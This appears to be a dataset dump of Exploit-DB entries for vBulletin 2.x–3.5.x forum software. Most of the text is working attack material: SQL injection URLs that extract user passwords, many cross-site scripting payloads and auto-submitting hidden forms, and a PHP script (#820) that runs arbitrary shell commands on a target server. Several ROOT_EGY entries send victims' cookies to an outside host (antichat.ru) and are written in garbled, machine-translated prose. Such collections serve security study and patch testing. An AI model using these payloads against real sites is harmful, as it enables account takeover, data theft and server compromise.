deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11396
Description: vBulletin 2.3.x - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-11
Author: ROOT_EGY

Exploit:
# Title: vbulletin Vulnerability versions 2.3 .* - SQL injection.
# Author: Discovered by ROOT_EGY
# Version: vBulletin Version 2.3

===========================================================
                     www.sec-war.com
===========================================================


Vulnerability versions 2.3 .* - SQL injection in the validation of input data in 'calendar.php'. Sends SQL requests to the server.
For example:
www.server.som/forumpath/calendar.php?s=&action=edit&eventid=14 union (SELECT allowsmilies, public, userid, '0000-0-0 ', version (), userid FROM calendar_events WHERE eventid = 14) order by eventdate
Vulnerability to Version 2 .*.* - is introducing XSS script tag e-mail
[E * MAIL] aaa@aaa.aa » 's =' [/ E * MAIL] 'sss =» i = new Image (); i.src =' http://antichat.ru/cgi-bin/s . jpg? '+ document.cookie; this.sss = null »style = top: expression (eval (this.sss));



===========================================================

ROOT_EGY  to connect: r0t@hotmail.es

===========================================================

Greetz TO : Alnjm33 - Mr.xXx - EgY-Sn!per - red virus - ShOot3r - And All My Friends.

===========================================================
Exploit-DB #23865
Description: vBulletin 2.x - 'private.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-03-22
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9940/info

It has been reported that VBulletin is prone to a cross-site scripting vulnerability in the 'ptivate.php' script. This issue is reportedly due to a failure to sanitize user input and so allow for injection of HTML and script code that may facilitate cross-site scripting attacks. 

Successful exploitation of this issue may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/private.php?&action=newmessage&userid=[UID]&forward=[XSS]
Exploit-DB #28028
Description: vBulletin 2.x/3.x - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-15
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18444/info

vBulletin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The vendor reports that this issue is specific to one site and is due to a misconfiguration of the vBulletin code; therefore, this BID is being retired.

http://www.example.net/gettingInvolved.html?s=">">">">">"><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT><"<"<"<"
http://www.example.net/forums/register.php?s=\\">">">">">"><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT><"<"<"<"&action=signup
http://www.example.net/forums/member.php?action=editprofile&s=">">">">&#039;>&#039;>&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT><"<"<"<&#039;<&#039;
http://www.example.net/library/index.html?s=questions">">">">">"><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT><"<"<"<"
Exploit-DB #23822
Description: vBulletin 3.0 - 'forumdisplay.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-03-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9888/info

It has been reported that VBulletin is prone to a cross-site scripting vulnerability in the 'forumdisplay.php' script. This issue is reportedly due to a failure to sanitize user input and so allow for injection of HTML and script code that may facilitate cross-site scripting attacks. 

Successful exploitation of this issue may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/forumdisplay.php?f=[VID]&page=[INT]&sort=lastpost&order=[XSS]
Exploit-DB #22990
Description: vBulletin 3.0 - 'register.php' HTML Injection
Type: webapps
Platform: php
Date: 2003-08-06
Author: Ferruh Mavituna

Exploit:
source: https://www.securityfocus.com/bid/8354/info

vBulletin may be prone to an HTML injection vulnerability. This issue is exposed through inadequate sanitization of user input for certain fields within the register.php script. An attacker may exploit this issue by including hostile HTML and script code in fields that may be displayed in posts to the message board, or the user's profile. This code may be rendered in the web browser of a user who views the malicious message.

[form action="http://[victim]/register.php?do=register" method="post"
style="display:none"]
[input type="hidden" name="s" value="" /]
[input type="hidden" name="regtype" value="1" /]
[input type="text" class="bginput" name="field1" value="" size="25"
maxlength="250" /]
[input type="hidden" name="url" value="index.php" /]
[input type="hidden" name="do" value="addmember" /] 
[/form]
[script]
//Code that will be executed
var xss = "\"][script]alert(document"+".cookie)[\/script]";
document.forms[0].field1.value=xss;
document.forms[0].submit();
[/script]

*Replace ([],<>)
Exploit-DB #23691
Description: vBulletin 3.0 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-02-13
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9656/info

It has been reported that VBulletin is prone to a cross-site scripting vulnerability in the 'search.php' script. This issue is reportedly due to a failure to sanitize user input and so allow HTML and script code that may facilitate cross-site scripting attacks. Successful exploitation of this issue may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/forum/search.php?do=process&showposts=0&query=<!-- / main error message --></p></p></blockquote>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<script>alert('XSS')</script><plaintext>

http://www.example.com/forum/search.php?do=process&showposts=0&query=<script>alert('XSS')</script>
Exploit-DB #23823
Description: vBulletin 3.0 - 'showthread.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-03-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9889/info

It has been reported that VBulletin is prone to a cross-site scripting vulnerability in the 'showthread.php' script. This issue is reportedly due to a failure to sanitize user input and so allow for injection of HTML and script code that may facilitate cross-site scripting attacks. 

Successful exploitation of this issue may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/showthread.php?t=[VID]&page=[INT][XSS]
Exploit-DB #22599
Description: vBulletin 3.0 - Private Message HTML Injection
Type: webapps
Platform: php
Date: 2003-05-14
Author: Ferruh Mavituna

Exploit:
source: https://www.securityfocus.com/bid/7594/info

A vulnerability has been reported in vBulletin 3.0.0 beta 2. The problem is said to occur due to insufficient sanitization of private messages. As a result, an attacker may be capable of embedding malicious HTML or script code within a private message. This code may be interpreted by a legitimate user when previewing the message.

It should be noted that vBulletin 3.0.0 beta 2 is not a public release and has only been made available to a small portion of selected sites. This issue does not affect any public releases of vBulletin. 

<html>
<body>
 <form action="http://[victim]/forum/private.php" method="post"
name="vbform">
  <input type="hidden" name="do" value="insertpm" />
  <input type="hidden" name="pmid" value="" />
  <input type="hidden" name="forward" value="" />
  <input type="hidden" name="receipt" value="0" />

  <input type="text" class="bginput" name="title" value="" size="40"
tabindex="2" />
  <textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3">&lt;/textarea&gt;
  <input type="submit" class="button" name="sbutton" value="Post Message"
accesskey="s" tabindex="4" />
  <input type="submit" class="button" value="Preview Message" accesskey="p"
name="preview" onclick="this.form.dopreview = true; return
true;this.form.submit()" tabindex="5" >

  <input type="checkbox" name="savecopy" value="1" id="cb_savecopy"
checked="checked" />
  <input type="checkbox" name="signature" value="1" id="cb_signature" />
  <input type="checkbox" name="parseurl" value="1" id="cb_parseurl"
checked="checked" />
  <input type="checkbox" name="disablesmilies" value="1"
id="cb_disablesmilies" />
 </form>
<script>
 //Set Values and Submit
 // You can write your own JS codes
 var xss = "\"><script>alert(document.cookie)<\/script>";
 document.vbform.title.value=xss;
 document.vbform.preview.click();
</script>
</body>
</html>
Exploit-DB #11395
Description: vBulletin 3.0.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-11
Author: ROOT_EGY

Exploit:
# Title: vBulletin 3.0.0 XSS
# Author: Discovered by ROOT_EGY
# Version: vBulletin Version 3.0.0

===============================================
              WWW.sec-war.com
===============================================

3.0.0 - Introduction XSS scripts in the script search.php. In fact, a hole through a browser implemented.
Example: www.xhh777hhh.som/forumpath//search.php?do=process&showposts=0&query = <script> img = new Image (); img.src = «http://antichat.ru/cgi-bin/s. jpg? »+ document.cookie; </ script>
3.0-3.0.4 - implementation of commands in the script forumdisplay.php through incorrect handling of variables.
For example: www.xhh777hhh.som/forumpath/forumdisplay.php?GLOBALS [] = 1 & f = 2 & comma = ». System ( 'id').»
3.0.3-3.0.9 introduction XSS scripts in the Status field.
Way to change the status can only admins, for example, moderators. Is an example code sployta: <body onLoad=img = new Image(); img.src = «http://antichat.ru/cgi-bin/s.jpg?»+document.cookie;>
3.0.9 and 3.5.4 - introduction XSS scripts in parameter posthash scenario newthread.php.
Here primerchik:
www.site.com/forumpath/newthread.php?do=newthread&f=3&subject=1234&WYSIWYG_HTML =% 3Cp% 3E% 3C% 2Fp% 3E & s = & f = 3 & do = postthread & posthash = c8d3fe38b082b6d3381cbee17f1f1aca & poststarttime = '% 2Bimg = new Image (); img. src = «http://antichat.ru/cgi-bin/s.jpg?» + document.cookie;% 2B '& sbutton =% D1% EE% E7% E4% E0% F2% FC +% ED% EE% E2 % F3% FE +% F2% E5% EC% F3 & parseurl = 1 & disablesmilies = 1 & emailupdate = 3 & postpoll = yes & polloptions = 1234 & openclose = 1 & stickunstick = 1 & iconid = 0

===============================================

ROOT_EGY  to connect: r0t@hotmail.es

===============================================

Greetz TO : Alnjm33 - Mr.xXx - EgY-Sn!per - red virus - ShOot3r - And All My Friends.

===============================================
Exploit-DB #24234
Description: vBulletin 3.0.1 - 'newreply.php?WYSIWYG_HTML' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-06-24
Author: Cheng Peng Su

Exploit:
source: https://www.securityfocus.com/bid/10602/info

VBulletin is reported prone to an HTML injection vulnerability. This issue affects the 'newreply.php' and 'newthread.php' scripts.

An attacker may exploit this issue by including hostile HTML and script code in fields that may be viewable by other users, potentially allowing for theft of cookie-based authentication credentials and other attacks.

This issue is reported to affect VBulletin version 3.0.1, however, it is likely that other versions are affected as well.

<form action="http://www.example.com/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="&lt;IMG src=&quot;javascript:alert(document.cookie)&quot;&gt;"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
&lt;script&gt;
document.all.preview.click();
&lt;/script&gt;
Exploit-DB #27929
Description: vBulletin 3.0.10 - 'Portal.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-31
Author: SpC-x

Exploit:
source: https://www.securityfocus.com/bid/18197/info

vBulletin is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/portal.php?id=54&a=viewfeature&featureid=99999/**/UNION/**/SELECT/**/0,1,2,3,4,username,6,7,8,9,10,11,12,password/**/from/**/user/**/where/**/userid=1/*
Exploit-DB #28342
Description: vBulletin 3.0.14 - 'global.php' Encoded Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-08-05
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/19358/info

vBulletin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 3.0.14 is vulnerable to these issues; prior versions may also be affected.

http://www.example.com/forum/mods/glo%62al.php?_tmp[csscolors]=a:1:{s:5:%22right%22;s:27:%22%22%3E%3Cscript%3Ealert(1)%3C/script%3E%22;}
Exploit-DB #818
Description: vBulletin 3.0.4 - 'forumdisplay.php' Code Execution (1)
Type: webapps
Platform: php
Date: 2005-02-14
Author: AL3NDALEEB

Exploit:
Exploit:
----------------
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

Conditions:
----------------
1st condition     : $vboptions['showforumusers'] == True , the admin must set
		    showforumusers ON in vbulletin options.

2nd condition     : $bbuserinfo['userid'] == 0 , you must be an visitor/guest.

3rd condition     : $DB_site->fetch_array($forumusers) == True , when you
		    visit the forums, it  must has at least one user show the forum.

4th condition     : magic_quotes_gpc must be OFF

SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
		    init.php by secret array GLOBALS[]=1 ;)))

# milw0rm.com [2005-02-14]
Exploit-DB #820
Description: vBulletin 3.0.4 - 'forumdisplay.php' Code Execution (2)
Type: webapps
Platform: php
Date: 2005-02-15
Author: AL3NDALEEB

Exploit:
<?php
/**************************************************************
#
# vbulletin 3.0.x execute command by AL3NDALEEB al3ndaleeb[at]uk2.net
#
# First condition : $vboptions['showforumusers'] == True , the admin must set
# showforumusers ON in vbulletin options.
# Second condition: $bbuserinfo['userid'] == 0 , you must be an visitor/guest .
# Third condition : $DB_site->fetch_array($forumusers) == True , when you
# visit the forums, it must has at least
# one user show the forum.
# Fourth condition: magic_quotes_gpc must be OFF
#
# Vulnerable Systems:
# vBulletin version 3.0 up to and including version 3.0.4
# 
# Immune systems:
# vBulletin version 3.0.5
# vBulletin version 3.0.6
# 
**************************************************************/

if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}

if ($argv[3]){
$url = $argv[1];
$forumid = intval($argv[2]);
$command = $argv[3];
}
else {
echo "vbulletin 3.0 > 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n";
echo "Usage: ".$argv[0]." <url> <forumid> <command> [proxy]\n\n";
echo "<url> url to vbulletin site (ex: http://www.vbulletin.com/forum/)\n";
echo "<forumid> forum id\n";
echo "<command> command to execute on server (ex: 'ls -la')\n";
echo "[proxy] optional proxy url (ex: http://proxy.ksa.com.sa:8080)\n\n";
echo "ex :\n";
echo "\tphp vb30x.php http://www.vbulletin.com/forum/ 2 \"ls -al\"";

exit;
}

if ($argv[4])
$proxy = $argv[4];



$action = 'forumdisplay.php?GLOBALS[]=1&f='.$forumid.'&comma=".`echo _START_`.`'.$command.'`.`echo _END_`."';

$ch=curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.'/'.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
$res = substr($res, strpos($res, '_START_')+7);
$res = substr($res,0, strpos($res, '_END_'));
echo $res;


?>

// milw0rm.com [2005-02-15]
Exploit-DB #832
Description: vBulletin 3.0.6 - PHP Code Injection
Type: webapps
Platform: php
Date: 2005-02-22
Author: pokley

Exploit:
# Tested on vBulletin Version 3.0.1 /str0ke 
# http://www.xxx.net/misc.php?do=page&template={${system(id)}} 
#

# [SCAN Associates Security Advisory]
# http://www.scan-associates.net

Proof of concept
================
http://site.com/misc.php?do=page&template={${phpinfo()}}

# milw0rm.com [2005-02-22]
Exploit-DB #28076
Description: vBulletin 3.0.9/3.5.x - 'member.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-20
Author: CrAzY.CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18551/info

Vbulletin is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The vendor disputes this issue stating the vulnerable parameter is properly sanitized before being used.

http://www.example.com/vb/member.php?u=[XSS]
Exploit-DB #27343
Description: vBulletin 3.0/3.5 - 'profile.php?Email' HTML Injection
Type: webapps
Platform: php
Date: 2006-03-02
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/16919/info

vBulletin is prone to an HTML-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

This issue is reported to affect vBulletin versions 3.0.12 through 3.5.3. Other versions may also be affected.

http://www.example.com//forum/profile.php?do=editpassword
pass:your pass
email: example@www.example.comâ?><script>alert(1)</script>.nomatt
Exploit-DB #27580
Description: vBulletin 3.5.1 - 'Vbugs.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-07
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17407/info

vBulletin is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 3.5.1 is vulnerable; other versions may also be affected.

http://www.example.com//vbugs.php?do=list&s=&textsearch=&vbug_typeid=0&vbug_statusid=0&vbug_severityid=0&vbug_versionid=0&assignment=0&sortfield=lastedit&sortorder=%22%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #11394
Description: vBulletin 3.5.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-11
Author: ROOT_EGY

Exploit:
# Title: vBulletin Version 3.5.2 - Introduction XSS scripting
# Author: Discovered by ROOT_EGY
# Version: vBulletin Version 3.5.2

===============================================
              WWW.sec-war.com
===============================================

3.5.2 - Introduction XSS scripting
The vulnerability is in the field «title» scenario «calendar.php».
Example:
TITLE :---> Test <script> img = new Image (); img.src = «http://antichat.ru/cgi-bin/s.jpg?» + Document.cookie; </ script>
BODY :----> No matter
OTHER OPTIONS: -> No matter
That all went off to go to the calendar, create a new event in the header to prescribe <script> img = new Image (); img.src = «http://antichat.ru/cgi-bin/s.jpg?» + Document. cookie; </ script>, then go look at the link, which is our event and give to the show to someone who want to steal a cookie.
3.5.3 - Introduction XSS scripts in the field «Email Address» in the module «Edit Email & Password».
Example:

www.server.som/forumpath/profile.php?do=editpassword
pass: your pass
email: vashe@milo.com "> <script> img = new Image (); img.src =« http://antichat.ru/cgi-bin/s.jpg? »+ document.cookie; </ script> . nomatt
Note About lenght limitation
****
forum / profile.php? do = editoptions
Receive Email from Other Members = yes
****
www.server.com/forumpath/sendmessage.php?do=mailmember&u = (your id)
In the email write vashe@milo.com "> <script> img = new Image (); img.src =« http://antichat.ru/cgi-bin/s.jpg? »+ Document.cookie; </ script>. nomatt. Once preserved, it is important to make the option email visible to all. Then the helmet someone www.xhh777hhh.som/forumpath/sendmessage.php?do=mailmember&u = (your id) and get a cookie on our address sniffer.

3.5.4 - Dump database
The vulnerability is in the scripts directory upgrade_301.php 'install'.
Example: server.com/forumpath/install/upgrade_301.php?step=SomeWord

3.5.4 - Introduction XSS scripting
The vulnerability is in the url parameter scenario inlinemod.php.
Example: www.server.com/forumpath/inlinemod.php?do=clearthread&url=lala2% 0d% 0aContent-Length:% 2033% 0d% 0a% 0d% 0a <html> Hacked! </ Html>% 0d% 0a% 0d% 0a

===============================================

ROOT_EGY  to connect: r0t@hotmail.es

===============================================

Greetz TO : Alnjm33 - Mr.xXx - EgY-Sn!per - red virus - ShOot3r - And All My Friends.

===============================================
Exploit-DB #27019
Description: vBulletin 3.5.2 - Event Title HTML Injection
Type: webapps
Platform: php
Date: 2006-02-01
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/16116/info

vBulletin is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

This issue is reported to affect vBulletin 3.5.2. Earlier versions may also be affected. 

The following example was provided as Event Title input:

TITLE:--------->Test<script>alert(document.cookie)</script>